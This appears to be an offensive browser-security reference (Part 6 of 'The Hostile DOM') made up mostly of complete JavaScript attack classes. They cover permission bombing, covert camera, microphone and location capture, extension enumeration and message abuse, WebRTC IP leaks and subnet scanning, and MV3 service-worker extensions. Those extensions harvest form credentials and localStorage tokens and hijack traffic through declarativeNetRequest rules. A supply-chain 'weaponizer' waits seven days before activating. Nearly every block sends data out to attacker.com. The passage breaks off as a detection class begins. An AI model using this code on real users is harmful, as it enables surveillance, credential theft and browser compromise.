The Hostile DOM: Deep Dive Technical Reference
Offensive Security Research
This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.
Part 6: Permission & Extension Exploitation
6.1 Permission Fatigue Attacks
Modern browsers implement permission prompts, but users often click "Allow" without understanding the implications.
Permission Request Bombing
Click to expand code
class PermissionBomber {
constructor() {
this.permissions = [
'geolocation',
'notifications',
'camera',
'microphone',
'midi',
'storage',
'persistent-storage'
];
this.grantedPermissions = new Set();
this.bombingInterval = null;
}
// Start permission bombing campaign
startBombing() {
console.log('[+] Starting permission bombing campaign');
this.bombingInterval = setInterval(() => {
this.requestRandomPermission();
}, 1000); // Request every second
// Stop after 30 seconds to avoid browser blocking
setTimeout(() => {
this.stopBombing();
this.exploitGrantedPermissions();
}, 30000);
}
stopBombing() {
if (this.bombingInterval) {
clearInterval(this.bombingInterval);
this.bombingInterval = null;
console.log('[+] Permission bombing stopped');
}
}
async requestRandomPermission() {
const permission = this.permissions[Math.floor(Math.random() * this.permissions.length)];
try {
const result = await navigator.permissions.request({ name: permission });
if (result.state === 'granted') {
console.log(`[+] Permission granted: ${permission}`);
this.grantedPermissions.add(permission);
} else {
console.log(`[-] Permission denied: ${permission}`);
}
} catch (error) {
console.log(`[*] Permission request failed: ${permission} - ${error.message}`);
}
}
// Exploit granted permissions
async exploitGrantedPermissions() {
console.log(`[+] Exploiting ${this.grantedPermissions.size} granted permissions`);
for (const permission of this.grantedPermissions) {
await this.exploitPermission(permission);
}
}
async exploitPermission(permission) {
switch (permission) {
case 'geolocation':
await this.exploitGeolocation();
break;
case 'camera':
await this.exploitCamera();
break;
case 'microphone':
await this.exploitMicrophone();
break;
case 'notifications':
await this.exploitNotifications();
break;
case 'storage':
await this.exploitStorage();
break;
}
}
async exploitGeolocation() {
console.log('[+] Exploiting geolocation permission');
navigator.geolocation.getCurrentPosition(
(position) => {
const data = {
latitude: position.coords.latitude,
longitude: position.coords.longitude,
accuracy: position.coords.accuracy,
timestamp: position.timestamp
};
console.log('[+] Location data:', data);
this.exfiltrateData('geolocation', data);
},
(error) => console.log('[-] Geolocation error:', error),
{ enableHighAccuracy: true, timeout: 10000 }
);
}
async exploitCamera() {
console.log('[+] Exploiting camera permission');
try {
const stream = await navigator.mediaDevices.getUserMedia({ video: true });
const video = document.createElement('video');
video.srcObject = stream;
video.play();
// Capture frame
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
setTimeout(() => {
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
ctx.drawImage(video, 0, 0);
canvas.toBlob((blob) => {
this.exfiltrateBlob('camera_capture', blob);
});
// Stop stream
stream.getTracks().forEach(track => track.stop());
}, 1000);
} catch (error) {
console.log('[-] Camera access failed:', error);
}
}
async exploitMicrophone() {
console.log('[+] Exploiting microphone permission');
try {
const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
const recorder = new MediaRecorder(stream);
const chunks = [];
recorder.ondataavailable = (e) => chunks.push(e.data);
recorder.onstop = () => {
const blob = new Blob(chunks, { type: 'audio/webm' });
this.exfiltrateBlob('microphone_recording', blob);
stream.getTracks().forEach(track => track.stop());
};
recorder.start();
setTimeout(() => recorder.stop(), 5000); // Record 5 seconds
} catch (error) {
console.log('[-] Microphone access failed:', error);
}
}
async exploitNotifications() {
console.log('[+] Exploiting notifications permission');
// Send spam notifications
for (let i = 0; i < 10; i++) {
new Notification(`Alert ${i + 1}`, {
body: 'Your system has been compromised!',
icon: 'https://evil.com/icon.png',
tag: 'spam'
});
}
}
async exploitStorage() {
console.log('[+] Exploiting storage permission');
// Request persistent storage
if ('storage' in navigator && 'persist' in navigator.storage) {
const persisted = await navigator.storage.persist();
console.log(`[+] Persistent storage: ${persisted}`);
}
// Fill storage with junk data
const junk = 'x'.repeat(1024 * 1024); // 1MB of junk
for (let i = 0; i < 100; i++) {
localStorage.setItem(`junk_${i}`, junk);
}
console.log('[+] Storage filled with junk data');
}
exfiltrateData(type, data) {
fetch('https://attacker.com/data', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ type, data, timestamp: new Date().toISOString() })
});
}
exfiltrateBlob(type, blob) {
const formData = new FormData();
formData.append('type', type);
formData.append('file', blob);
formData.append('timestamp', new Date().toISOString());
fetch('https://attacker.com/upload', {
method: 'POST',
body: formData
});
}
}
// Initialize permission bomber
const bomber = new PermissionBomber();
// Start bombing on user interaction (to avoid browser blocking)
document.addEventListener('click', () => {
if (!bomber.bombingInterval) {
bomber.startBombing();
}
}, { once: true });6.2 Browser Extension Vulnerabilities
Extensions run with elevated privileges and can be exploited to gain complete browser compromise.
Content Script Injection Attacks
Click to expand code
// Exploit vulnerable extension content scripts
class ExtensionExploiter {
constructor() {
this.foundExtensions = [];
this.scanForExtensions();
}
// Scan for installed extensions
scanForExtensions() {
// Method 1: Check for extension-specific globals
const extensionGlobals = [
'chrome', 'browser', // WebExtensions API
'__REDUX_DEVTOOLS_EXTENSION__', // Redux devtools
'React', 'Vue', // Framework devtools
'jQuery', // jQuery extensions
'__webpack_require__', // Webpack devtools
'webpackChunk', // Webpack chunks
'CKEDITOR', // Rich text editors
'tinymce', // TinyMCE
'ace', 'monaco', 'CodeMirror' // Code editors
];
extensionGlobals.forEach(global => {
if (window[global] !== undefined) {
console.log(`[+] Extension global found: ${global}`);
this.foundExtensions.push(global);
}
});
// Method 2: Check for extension scripts in DOM
const scripts = document.querySelectorAll('script[src]');
scripts.forEach(script => {
const src = script.src;
if (src.includes('extension://') || src.includes('chrome-extension://')) {
console.log(`[+] Extension script found: ${src}`);
this.foundExtensions.push(src);
}
});
// Method 3: Check for extension iframes
const iframes = document.querySelectorAll('iframe[src]');
iframes.forEach(iframe => {
const src = iframe.src;
if (src.includes('extension://') || src.includes('chrome-extension://')) {
console.log(`[+] Extension iframe found: ${src}`);
this.foundExtensions.push(src);
}
});
console.log(`[+] Found ${this.foundExtensions.length} extension indicators`);
}
// Exploit Redux DevTools
exploitReduxDevTools() {
if (window.__REDUX_DEVTOOLS_EXTENSION__) {
console.log('[+] Exploiting Redux DevTools');
// Access Redux store
const devTools = window.__REDUX_DEVTOOLS_EXTENSION__.connect();
// Listen for state changes
devTools.subscribe((message) => {
if (message.type === 'ACTION') {
console.log('[+] Redux action:', message.payload);
// Extract sensitive data from actions
if (message.payload.type.includes('LOGIN') ||
message.payload.type.includes('AUTH')) {
this.exfiltrateData('redux_auth', message.payload);
}
}
});
// Send malicious actions
devTools.send('MALICIOUS_ACTION', {
type: 'COMPROMISE_STORE',
payload: { compromised: true }
});
}
}
// Exploit jQuery extensions
exploitjQuery() {
if (window.jQuery) {
console.log('[+] Exploiting jQuery');
// Hook into AJAX requests
const originalAjax = jQuery.ajax;
jQuery.ajax = function(settings) {
console.log('[+] jQuery AJAX:', settings.url);
// Intercept sensitive requests
if (settings.url.includes('login') || settings.url.includes('auth')) {
console.log('[+] Sensitive AJAX intercepted');
this.exfiltrateData('jquery_ajax', settings);
}
return originalAjax.apply(this, arguments);
};
}
}
// Exploit Webpack devtools
exploitWebpack() {
if (window.__webpack_require__) {
console.log('[+] Exploiting Webpack');
// Access webpack modules
const modules = window.__webpack_require__.m;
for (const moduleId in modules) {
try {
const module = modules[moduleId];
const moduleCode = module.toString();
// Look for sensitive modules
if (moduleCode.includes('password') ||
moduleCode.includes('token') ||
moduleCode.includes('secret')) {
console.log(`[+] Sensitive webpack module: ${moduleId}`);
this.exfiltrateData('webpack_module', {
id: moduleId,
code: moduleCode
});
}
} catch (e) {}
}
}
}
// Exploit rich text editors
exploitRichTextEditors() {
const editors = ['CKEDITOR', 'tinymce', 'ace', 'monaco', 'CodeMirror'];
editors.forEach(editor => {
if (window[editor]) {
console.log(`[+] Exploiting ${editor}`);
// CKEditor exploitation
if (editor === 'CKEDITOR' && window.CKEDITOR.instances) {
Object.values(window.CKEDITOR.instances).forEach(instance => {
instance.on('change', () => {
const content = instance.getData();
if (content.includes('password') || content.includes('token')) {
this.exfiltrateData('ckeditor_content', content);
}
});
});
}
// TinyMCE exploitation
if (editor === 'tinymce' && window.tinymce) {
window.tinymce.on('change', (e) => {
const content = e.target.getContent();
if (content.includes('password') || content.includes('token')) {
this.exfiltrateData('tinymce_content', content);
}
});
}
}
});
}
// Generic extension script injection
injectIntoExtension(extensionId) {
console.log(`[+] Attempting injection into extension: ${extensionId}`);
// Create injection script
const script = document.createElement('script');
script.textContent = `
// Malicious code to run in extension context
console.log('[+] Injected into extension context');
// Try to access extension APIs
if (chrome && chrome.runtime) {
chrome.runtime.sendMessage({ type: 'COMPROMISED' });
}
// Try to access extension storage
if (chrome && chrome.storage) {
chrome.storage.local.get(null, (data) => {
console.log('[+] Extension storage:', data);
// Exfiltrate extension data
fetch('https://attacker.com/extension-data', {
method: 'POST',
body: JSON.stringify(data)
});
});
}
`;
document.head.appendChild(script);
}
exfiltrateData(type, data) {
fetch('https://attacker.com/extension-data', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
type,
data,
extension: this.foundExtensions,
timestamp: new Date().toISOString()
})
});
}
// Run all exploits
async runAllExploits() {
this.exploitReduxDevTools();
this.exploitjQuery();
this.exploitWebpack();
this.exploitRichTextEditors();
// Try to inject into found extensions
this.foundExtensions.forEach(ext => {
if (typeof ext === 'string' && ext.includes('extension://')) {
this.injectIntoExtension(ext);
}
});
}
}
// Initialize and run
const extensionExploiter = new ExtensionExploiter();
setTimeout(() => extensionExploiter.runAllExploits(), 1000);Extension Background Script Exploitation
Click to expand code
// Exploit extension background scripts via messaging
function exploitExtensionMessaging() {
// Enumerate all possible extension IDs (brute force common ones)
const commonExtensionIds = [
'nkbihfbeogaeaoehlefnkodbefgpgknn', // MetaMask
'cjpalhdlnbpafiamejdnhcphjbkeiagm', // uBlock Origin
'gcbommkclmclpchllfjekcdonpmejbdp', // HTTPS Everywhere
'fheoggkfdfchfphceeifdbepaooicaho', // Steam Inventory Helper
'bmnlcjabgnpnenekpadlanbbkooimhnj', // Honey
'pkehgijcmpdhfbdbbnkijodmdjhbjlgp', // Privacy Badger
'dbepggeogbaibhgnhhndojpepiihcmeb', // Vimium
'aapbdbdomjkkjkaonfhkkikfgjllcleb', // Google Translate
'ghbmnnjooekpmoecnnnilnnbdlolhkhi', // Google Docs Offline
'mmeijimgabbpbgpdklnllpncmdofkfbn', // RAR Password Cracker
'fdpohaocaechififmbbbbbknoalclacl', // Full Page Screen Capture
'cblpjiiaanfakmdajbpngjlcndfedmhf', // Netflix Party
'eimadpbcbfnmbkopoojfekhnkhdbieeh', // Dark Reader
'dhdgffkkebhmkfjojejmpbldmpobfkfo', // Tampermonkey
'gighmmpiobklfepjocnamgkkbiglidom', // AdBlock
'cfhdojbkjhnklbpkdaibdccddilifddb', // AdBlock Plus
'ngpampappnmepgilojfohadhhmbhlaek', // Video Downloader
'kbfnbcaeplbcioakkpcpgfkobkghlhen', // Grammarly
'hdokiejnpimakedhajhdlcegeplioahd', // LastPass
'bhghoamapcdpbohphigoooaddinpkbai', // Google Docs
'aohghmighlieiainnegkcijnfilokake', // Google Docs Offline
'apdfllckaahabafndbhieahigkjlhalf', // Google Drive
'felcaaldnbdncclmgdcncolpebgiejap', // IDM Integration
'mpiodijhokgodhhofbcjdecpffjipkle', // Storebrain
'cmedhionkhpnakcndndgjdbohmhepckk' // Adobe Acrobat
];
commonExtensionIds.forEach(extensionId => {
// Try to send messages to extension
try {
chrome.runtime.sendMessage(extensionId, {
type: 'MALICIOUS_MESSAGE',
payload: {
action: 'GET_DATA',
callback: 'https://attacker.com/callback'
}
}, (response) => {
if (response) {
console.log(`[+] Extension ${extensionId} responded:`, response);
// Exfiltrate response
fetch('https://attacker.com/extension-response', {
method: 'POST',
body: JSON.stringify({
extensionId,
response,
timestamp: new Date().toISOString()
})
});
}
});
} catch (error) {
// Extension doesn't exist or doesn't accept messages
}
});
}
// Hook into extension API calls
function hookExtensionAPIs() {
if (window.chrome && window.chrome.runtime) {
const originalSendMessage = window.chrome.runtime.sendMessage;
window.chrome.runtime.sendMessage = function(extensionId, message, callback) {
console.log(`[+] Extension message intercepted:`, extensionId, message);
// Modify message if sensitive
if (message.type === 'AUTH_REQUEST' || message.type === 'GET_TOKENS') {
console.log('[+] Sensitive extension message intercepted');
// Exfiltrate
fetch('https://attacker.com/extension-message', {
method: 'POST',
body: JSON.stringify({
extensionId,
message,
timestamp: new Date().toISOString()
})
});
}
return originalSendMessage.call(this, extensionId, message, callback);
};
}
}
exploitExtensionMessaging();
hookExtensionAPIs();6.3 WebRTC Exploitation
WebRTC enables peer-to-peer communication but can leak internal network information.
STUN/TURN Server Exploitation
Click to expand code
class WebRTCExploiter {
constructor() {
this.localIPs = [];
this.publicIP = null;
this.networkInfo = {};
}
// Discover local and public IPs using WebRTC
async discoverIPs() {
console.log('[+] Starting WebRTC IP discovery');
try {
const pc = new RTCPeerConnection({
iceServers: [
{ urls: 'stun:stun.l.google.com:19302' },
{ urls: 'stun:stun1.l.google.com:19302' },
{ urls: 'stun:stun2.l.google.com:19302' },
{ urls: 'stun:stun3.l.google.com:19302' },
{ urls: 'stun:stun4.l.google.com:19302' }
]
});
// Create dummy data channel
pc.createDataChannel('');
// Listen for ICE candidates
pc.onicecandidate = (event) => {
if (event.candidate) {
this.parseICECandidate(event.candidate);
}
};
// Create offer to trigger ICE gathering
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
// Wait for ICE gathering to complete
await new Promise(resolve => {
pc.onicegatheringstatechange = () => {
if (pc.iceGatheringState === 'complete') {
resolve();
}
};
});
console.log('[+] IP discovery complete');
console.log('[+] Local IPs:', this.localIPs);
console.log('[+] Public IP:', this.publicIP);
this.exfiltrateNetworkInfo();
} catch (error) {
console.log('[-] WebRTC IP discovery failed:', error);
}
}
parseICECandidate(candidate) {
const parts = candidate.candidate.split(' ');
if (parts.length >= 5) {
const ip = parts[4];
// Check if it's a local IP
if (this.isLocalIP(ip)) {
if (!this.localIPs.includes(ip)) {
this.localIPs.push(ip);
}
} else {
// Public IP
this.publicIP = ip;
}
}
}
isLocalIP(ip) {
// Check for private IP ranges
const privateRanges = [
/^10\./, // 10.0.0.0/8
/^172\.(1[6-9]|2[0-9]|3[0-1])\./, // 172.16.0.0/12
/^192\.168\./, // 192.168.0.0/16
/^169\.254\./, // Link-local
/^127\./, // Loopback
/^::1$/, // IPv6 loopback
/^fc00:/, // IPv6 unique local
/^fe80:/ // IPv6 link-local
];
return privateRanges.some(range => range.test(ip));
}
// Enumerate local network devices
async scanLocalNetwork() {
console.log('[+] Scanning local network');
const scanPromises = [];
// Scan common local IP ranges
for (const baseIP of this.localIPs) {
const subnet = baseIP.split('.').slice(0, 3).join('.');
for (let i = 1; i < 255; i++) {
const targetIP = `${subnet}.${i}`;
if (targetIP !== baseIP) { // Don't scan ourselves
scanPromises.push(this.checkHost(targetIP));
}
}
}
const results = await Promise.allSettled(scanPromises);
const liveHosts = results
.filter(result => result.status === 'fulfilled' && result.value.alive)
.map(result => result.value.ip);
console.log(`[+] Found ${liveHosts.length} live hosts:`, liveHosts);
this.networkInfo.liveHosts = liveHosts;
}
async checkHost(ip) {
return new Promise((resolve) => {
// Use WebRTC data channel to test connectivity
const pc = new RTCPeerConnection();
const channel = pc.createDataChannel('');
let connected = false;
channel.onopen = () => {
connected = true;
pc.close();
};
pc.onicecandidate = (event) => {
if (!event.candidate) {
setTimeout(() => {
if (!connected) {
pc.close();
}
resolve({ ip, alive: connected });
}, 100);
}
};
// Try to connect to target IP on common ports
pc.createOffer().then(offer => pc.setLocalDescription(offer));
});
}
// WebRTC device enumeration
async enumerateDevices() {
console.log('[+] Enumerating WebRTC devices');
try {
const devices = await navigator.mediaDevices.enumerateDevices();
const deviceInfo = {
audioInputs: devices.filter(d => d.kind === 'audioinput'),
audioOutputs: devices.filter(d => d.kind === 'audiooutput'),
videoInputs: devices.filter(d => d.kind === 'videoinput')
};
console.log('[+] Device enumeration:', deviceInfo);
this.networkInfo.devices = deviceInfo;
} catch (error) {
console.log('[-] Device enumeration failed:', error);
}
}
exfiltrateNetworkInfo() {
const data = {
localIPs: this.localIPs,
publicIP: this.publicIP,
networkInfo: this.networkInfo,
timestamp: new Date().toISOString(),
userAgent: navigator.userAgent
};
fetch('https://attacker.com/network-info', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
}
// Run all WebRTC exploits
async runAllExploits() {
await this.discoverIPs();
await this.scanLocalNetwork();
await this.enumerateDevices();
this.exfiltrateNetworkInfo();
}
}
// Initialize and run
const webrtcExploiter = new WebRTCExploiter();
webrtcExploiter.runAllExploits();6.4 Browser Permission Model Bypass
Permission Delegation Attacks
Click to expand code
// Exploit permission delegation between frames
function exploitPermissionDelegation() {
// Create iframe to delegate permissions
const iframe = document.createElement('iframe');
iframe.src = 'https://victim-site.com';
iframe.style.display = 'none';
iframe.onload = () => {
console.log('[+] Iframe loaded, attempting permission delegation');
// Try to access parent permissions from iframe
try {
// Request permission in iframe context
iframe.contentWindow.navigator.permissions.request({
name: 'geolocation'
}).then(result => {
if (result.state === 'granted') {
console.log('[+] Permission delegated to iframe');
// Use permission from iframe
iframe.contentWindow.navigator.geolocation.getCurrentPosition(
(position) => {
console.log('[+] Location from iframe:', position.coords);
this.exfiltrateData('delegated_location', position.coords);
}
);
}
});
} catch (error) {
console.log('[-] Permission delegation failed:', error);
}
};
document.body.appendChild(iframe);
}
// Cross-origin permission probing
function probeCrossOriginPermissions() {
const testOrigins = [
'https://google.com',
'https://facebook.com',
'https://github.com',
'https://stackoverflow.com'
];
testOrigins.forEach(origin => {
const iframe = document.createElement('iframe');
iframe.src = origin;
iframe.style.display = 'none';
iframe.onload = () => {
try {
// Try to access permissions API
const permissions = iframe.contentWindow.navigator.permissions;
// Query specific permissions
['geolocation', 'notifications', 'camera'].forEach(perm => {
permissions.query({ name: perm }).then(result => {
console.log(`[+] ${origin} - ${perm}: ${result.state}`);
});
});
} catch (error) {
console.log(`[-] Cannot access permissions for ${origin}`);
}
document.body.removeChild(iframe);
};
document.body.appendChild(iframe);
});
}
// Permission persistence across navigations
function exploitPermissionPersistence() {
// Check if permissions persist after navigation
navigator.permissions.query({ name: 'geolocation' }).then(result => {
console.log(`[+] Initial geolocation permission: ${result.state}`);
// Navigate away and come back
const currentUrl = location.href;
location.href = 'https://example.com';
// This would run after navigation back
setTimeout(() => {
navigator.permissions.query({ name: 'geolocation' }).then(newResult => {
console.log(`[+] Permission after navigation: ${newResult.state}`);
if (newResult.state === 'granted') {
console.log('[+] Permission persisted across navigation!');
// Exploit persisted permission
navigator.geolocation.getCurrentPosition(pos => {
console.log('[+] Exploited persisted location:', pos.coords);
});
}
});
}, 5000);
});
}
exploitPermissionDelegation();
probeCrossOriginPermissions();
exploitPermissionPersistence();6.6 Manifest V3 Exploitation & Migration Attacks
Chrome's Manifest V3 (MV3) introduced significant security changes, but also created new attack surfaces and migration vulnerabilities.
Manifest V3 Key Changes
Security Improvements:
- Background pages → Service Workers (ephemeral, no persistent background scripts)
webRequest→declarativeNetRequest(no arbitrary code execution in network layer)- Host permissions now optional and revocable
- Remote code execution blocked (no externally hosted code)
New Attack Surfaces:
- Service Worker lifecycle manipulation
- DeclarativeNetRequest rule injection
- Migration period vulnerabilities (V2→V3 hybrid attacks)
MV3 Service Worker Exploitation
Click to expand code
// manifest.json (Manifest V3)
{
"manifest_version": 3,
"name": "Productivity Helper",
"version": "1.0",
"permissions": [
"storage",
"tabs",
"scripting"
],
"host_permissions": [
"<all_urls>"
],
"background": {
"service_worker": "background.js"
},
"action": {
"default_popup": "popup.html"
},
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_start"
}]
}
// background.js - MV3 Service Worker
class MV3Exploiter {
constructor() {
this.installHandlers();
this.harvestedData = [];
}
installHandlers() {
// Service Worker install event
self.addEventListener('install', (event) => {
console.log('[+] MV3 Extension installed');
self.skipWaiting(); // Activate immediately
});
// Service Worker activate event
self.addEventListener('activate', (event) => {
console.log('[+] MV3 Extension activated');
event.waitUntil(self.clients.claim()); // Control all pages immediately
// Start malicious activities
this.startDataHarvesting();
});
// Handle messages from content scripts
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
this.handleMessage(message, sender, sendResponse);
return true; // Keep channel open for async response
});
// Monitor tab updates
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.status === 'complete') {
this.onTabComplete(tabId, tab);
}
});
}
// Start harvesting data from all tabs
async startDataHarvesting() {
const tabs = await chrome.tabs.query({});
for (const tab of tabs) {
if (tab.url && !tab.url.startsWith('chrome://')) {
// Inject content script into existing tabs
await this.injectIntoTab(tab.id);
}
}
}
// Inject content script using scripting API (MV3)
async injectIntoTab(tabId) {
try {
await chrome.scripting.executeScript({
target: { tabId: tabId },
func: this.contentScriptPayload,
world: 'MAIN' // Execute in main world (access to page's JS)
});
console.log(`[+] Injected into tab ${tabId}`);
} catch (error) {
console.error(`[!] Injection failed for tab ${tabId}:`, error);
}
}
// Payload executed in page context
contentScriptPayload() {
// This runs in the page's JavaScript context
console.log('[+] MV3 content script injected');
// Harvest credentials from forms
document.addEventListener('submit', (e) => {
const form = e.target;
const formData = new FormData(form);
const credentials = {};
for (let [key, value] of formData.entries()) {
credentials[key] = value;
}
// Send to background service worker
chrome.runtime.sendMessage({
type: 'credentials',
data: credentials,
url: window.location.href
});
});
// Harvest tokens from localStorage
const tokens = {};
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
tokens[key] = localStorage.getItem(key);
}
if (Object.keys(tokens).length > 0) {
chrome.runtime.sendMessage({
type: 'tokens',
data: tokens,
url: window.location.href
});
}
}
// Handle messages from content scripts
async handleMessage(message, sender, sendResponse) {
console.log('[+] Message from content script:', message.type);
this.harvestedData.push({
type: message.type,
data: message.data,
url: message.url,
timestamp: Date.now(),
tabId: sender.tab?.id
});
// Store in chrome.storage
await chrome.storage.local.set({
harvested: this.harvestedData
});
// Exfiltrate immediately
await this.exfiltrateData(message);
sendResponse({ success: true });
}
// Exfiltrate data (MV3 restrictions apply)
async exfiltrateData(data) {
try {
// MV3: fetch() works in service workers
const response = await fetch('https://attacker.com/harvest', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
if (response.ok) {
console.log('[+] Data exfiltrated successfully');
}
} catch (error) {
console.error('[!] Exfiltration failed:', error);
// Queue for retry
this.queueForRetry(data);
}
}
async queueForRetry(data) {
const queue = await chrome.storage.local.get('exfilQueue') || { exfilQueue: [] };
queue.exfilQueue.push(data);
await chrome.storage.local.set(queue);
}
// Tab completion handler
async onTabComplete(tabId, tab) {
console.log(`[+] Tab completed: ${tab.url}`);
// Re-inject into newly loaded pages
if (!tab.url.startsWith('chrome://')) {
await this.injectIntoTab(tabId);
}
}
}
// Initialize exploiter
const mv3Exploiter = new MV3Exploiter();DeclarativeNetRequest Abuse
MV3's declarativeNetRequest API replaces webRequest but can still be weaponized:
Click to expand code
// Malicious declarativeNetRequest rules
const maliciousRules = [
// Rule 1: Redirect all Google searches to attacker's SERP
{
"id": 1,
"priority": 1,
"action": {
"type": "redirect",
"redirect": {
"regexSubstitution": "https://attacker.com/search?q=\\1"
}
},
"condition": {
"regexFilter": "^https://www\\.google\\.com/search\\?q=(.*)$",
"resourceTypes": ["main_frame"]
}
},
// Rule 2: Inject tracking pixel into all pages
{
"id": 2,
"priority": 1,
"action": {
"type": "redirect",
"redirect": {
"transform": {
"query": {
"addOrReplaceParams": [
{ "key": "utm_source", "value": "malicious_extension" },
{ "key": "user_id", "value": "victim_fingerprint" }
]
}
}
}
},
"condition": {
"urlFilter": "*",
"resourceTypes": ["xmlhttprequest", "image"]
}
},
// Rule 3: Block security extensions
{
"id": 3,
"priority": 1,
"action": {
"type": "block"
},
"condition": {
"urlFilter": "*adblock*|*ublock*|*ghostery*",
"resourceTypes": ["script", "main_frame"]
}
},
// Rule 4: Redirect CDN requests to attacker-controlled resources
{
"id": 4,
"priority": 1,
"action": {
"type": "redirect",
"redirect": {
"url": "https://attacker-cdn.com/malicious.js"
}
},
"condition": {
"urlFilter": "https://cdn.jsdelivr.net/npm/jquery*",
"resourceTypes": ["script"]
}
},
// Rule 5: Modify request headers for tracking
{
"id": 5,
"priority": 1,
"action": {
"type": "modifyHeaders",
"requestHeaders": [
{
"header": "X-Victim-ID",
"operation": "set",
"value": "harvested_fingerprint_123"
}
]
},
"condition": {
"urlFilter": "*",
"resourceTypes": ["xmlhttprequest"]
}
}
];
// Apply malicious rules
chrome.declarativeNetRequest.updateDynamicRules({
addRules: maliciousRules,
removeRuleIds: [] // Don't remove existing rules
}, () => {
console.log('[+] Malicious declarativeNetRequest rules applied');
});
// Monitor rule effectiveness
chrome.declarativeNetRequest.getMatchedRules({}, (details) => {
console.log('[+] Matched rules:', details);
// Exfiltrate matched URLs
fetch('https://attacker.com/matched-rules', {
method: 'POST',
body: JSON.stringify(details)
});
});MV2→MV3 Migration Attack Window
During the transition period, attackers exploit users running mixed versions:
Click to expand code
// Detect which manifest version user is running
function detectManifestVersion() {
// MV3 extensions have chrome.scripting API
if (chrome.scripting) {
console.log('[+] Running Manifest V3');
return 3;
}
// MV2 extensions have chrome.webRequest with full blocking
if (chrome.webRequest && chrome.webRequest.onBeforeRequest) {
console.log('[+] Running Manifest V2');
return 2;
}
return null;
}
// Adaptive exploitation based on detected version
const manifestVersion = detectManifestVersion();
if (manifestVersion === 2) {
// Use powerful MV2 APIs while still available
chrome.webRequest.onBeforeRequest.addListener(
(details) => {
// Full request interception with arbitrary code
console.log('[+] MV2: Intercepted request:', details.url);
// Inject malicious script
if (details.type === 'script') {
return { redirectUrl: 'https://attacker.com/malicious.js' };
}
},
{ urls: ['<all_urls>'] },
['blocking']
);
} else if (manifestVersion === 3) {
// Use MV3 APIs
chrome.scripting.executeScript({
target: { allFrames: true },
func: () => {
console.log('[+] MV3: Injected via scripting API');
}
});
}6.7 Extension Supply Chain Attacks
Browser extensions are prime targets for supply chain compromise due to auto-update mechanisms.
Supply Chain Attack Vectors
- Developer Account Takeover: Compromise extension developer's account
- Malicious Update: Push malicious update to existing legitimate extension
- Extension Acquisition: Buy popular extension and inject malware
- Dependency Poisoning: Compromise npm packages used in extension build
- Build Pipeline Hijacking: Compromise CI/CD to inject malicious code
Attack Scenario: Extension Acquisition & Weaponization
Click to expand code
// Original manifest.json (Benign Extension v1.0)
{
"manifest_version": 3,
"name": "Simple Screenshot Tool",
"version": "1.0.0",
"permissions": [
"activeTab"
]
}
// Updated manifest.json (After Acquisition v2.0)
{
"manifest_version": 3,
"name": "Simple Screenshot Tool",
"version": "2.0.0",
"permissions": [
"activeTab",
"storage",
"tabs",
"scripting" // NEW: Script injection
],
"host_permissions": [
"<all_urls>" // NEW: Access to all sites
],
"background": {
"service_worker": "background.js"
}
}
// background.js (Malicious Update)
class AcquiredExtensionWeaponizer {
constructor() {
this.victimCount = 0;
this.harvestStats = {
credentials: 0,
tokens: 0,
cookies: 0
};
}
// Delayed activation to avoid suspicion
async init() {
// Wait 7 days after update before activating malicious features
const installDate = await this.getInstallDate();
const daysSinceInstall = (Date.now() - installDate) / (1000 * 60 * 60 * 24);
if (daysSinceInstall >= 7) {
console.log('[+] Activation period reached, starting harvest');
this.startHarvesting();
} else {
console.log(`[*] Dormant period: ${7 - daysSinceInstall} days remaining`);
// Check again in 1 day
setTimeout(() => this.init(), 24 * 60 * 60 * 1000);
}
}
async getInstallDate() {
const data = await chrome.storage.local.get('installDate');
if (!data.installDate) {
const now = Date.now();
await chrome.storage.local.set({ installDate: now });
return now;
}
return data.installDate;
}
startHarvesting() {
// Inject into all tabs
chrome.tabs.query({}, (tabs) => {
tabs.forEach(tab => {
if (!tab.url.startsWith('chrome://')) {
this.injectHarvester(tab.id);
}
});
});
// Monitor new tabs
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.status === 'complete' && !tab.url.startsWith('chrome://')) {
this.injectHarvester(tabId);
}
});
// Periodic data exfiltration
setInterval(() => this.exfiltrateHarvestedData(), 60 * 60 * 1000); // Every hour
}
async injectHarvester(tabId) {
try {
await chrome.scripting.executeScript({
target: { tabId: tabId },
func: this.harvesterPayload
});
this.victimCount++;
} catch (error) {
// Silently fail
}
}
// Payload injected into each page
harvesterPayload() {
// Form submission harvesting
document.addEventListener('submit', (e) => {
const form = e.target;
const data = new FormData(form);
const credentials = {};
for (let [key, value] of data.entries()) {
credentials[key] = value;
}
chrome.runtime.sendMessage({
type: 'credentials',
data: credentials,
url: location.href
});
});
// Token harvesting from localStorage
setInterval(() => {
const tokens = {};
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
const value = localStorage.getItem(key);
// Only harvest token-like values
if (value && value.length > 20 && /^[A-Za-z0-9\-._]+$/.test(value)) {
tokens[key] = value;
}
}
if (Object.keys(tokens).length > 0) {
chrome.runtime.sendMessage({
type: 'tokens',
data: tokens,
url: location.href
});
}
}, 30000); // Every 30 seconds
}
async exfiltrateHarvestedData() {
const data = await chrome.storage.local.get('harvestedData');
if (data.harvestedData && data.harvestedData.length > 0) {
console.log(`[+] Exfiltrating ${data.harvestedData.length} harvested items`);
// Exfiltrate via image beacon (stealthier than fetch)
const img = new Image();
img.src = `https://attacker.com/collect?data=${encodeURIComponent(JSON.stringify(data.harvestedData))}`;
// Clear after exfiltration
await chrome.storage.local.set({ harvestedData: [] });
}
}
}
// Initialize with delay
setTimeout(() => {
const weaponizer = new AcquiredExtensionWeaponizer();
weaponizer.init();
}, 5000);Developer Account Takeover Detection
Click to expand code
// User-side detection of malicious extension updates
class ExtensionUpdateMonitor {
